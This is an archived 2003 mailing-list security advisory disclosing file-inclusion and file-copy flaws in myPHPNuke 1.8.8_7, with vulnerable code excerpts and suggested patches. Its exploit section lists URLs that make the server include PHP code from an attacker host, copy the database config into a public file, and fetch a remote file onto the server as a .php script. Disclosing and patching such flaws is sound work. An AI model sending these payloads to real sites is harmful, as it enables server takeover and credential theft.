

[VulnWatch] myPHPNuke : Copy/Upload/Include Files

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-09/0011.html>

From: Frog Man (leseulfrog_at_hotmail.com)

Date: 09/11/03

To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org

Date: Thu, 11 Sep 2003 12:14:09 +0200

Informations :

oooooooooooooooo

Language : PHP

Version : 1.8.8_7

Website : <http://www.myphpnuke.com>

Problems : - Upload/Copy/Include Files

PHP Code/Location :

oooooooooooooooo

gallery/displayCategory.php :

[...]

<?php

```
include ("$_basepath/imageFunctions.php");
```

```
include ("$_adminpath/fileFunctions.php");
```

mailattach.php :

[...]

<?

```
OpenTable();
```

```
global $_attachmentdir;
```

```
$_attachfile = $_attachmentdir.$attach1_name;
```

```
if(isset($_submit) ) {
```

```
    if ($_attach1_name != "") {
```

```
        copy($_attach1, $_attachfile)
```

```
        or die("Couldn't copy the file!");
```

```
        echo "<script> attach();</script>";
```

VulnWatch: [VulnWatch] myPHPNuke : Copy/Upload/Include Files

```
    } else {  
        die("No input file specified");  
    }  
    echo "<script> attach(); </script>";  
} else {  
  
?>  
[...]
```

Exploits :

oooooooo

– [http://\[target\]/gallery/displayCategory.php?basepath=http://\[attacker\]](http://[target]/gallery/displayCategory.php?basepath=http://[attacker])
will include the file :
[http://\[attacker\]/imageFunctions.php](http://[attacker]/imageFunctions.php)

– [http://\[target\]/gallery/displayCategory.php?adminpath=http://\[attacker\]](http://[target]/gallery/displayCategory.php?adminpath=http://[attacker])
will include the file :
[http://\[attacker\]/fileFunctions.php](http://[attacker]/fileFunctions.php)

–
[http://\[target\]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt](http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt)
will copy the file admin/original/config.php (with DB Informations) into
[http://\[target\]/DBInfos.txt](http://[target]/DBInfos.txt) .

–
[http://\[target\]/mailattach.php?submit=1&attach1=http://\[attacker\]/bad.txt&attach1_name=../bad.php](http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php)
will copy the file bad.txt into [http://\[target\]/bad.php](http://[target]/bad.php)

– etc...

Solution :

oooooooo

A patch can be found on <http://www.phpsecure.info>.

In gallery/displayCategory.php, add before all lines the lines :

```
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){  
die("Patched.");  
}
```

And in mailattach.php, add just after the lines :

```
[...]  
<?  
OpenTable();  
    global $attachmentdir;  
[...]
```

the lines :

[VulnWatch] myPHPNuke : Copy/Upload/Include Files

```
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"])
OR ereg("/", $attach1) OR ereg("\\.", $attach1) OR ereg(".php", $attach1_name)
){
    die("Patched.");
}
```

More Details :

oooooooooooo

In french :

<http://www.phpsecure.info/v2/tutos/myPHPNuke.txt>

frog-m@n (<http://www.phpsecure.info>)
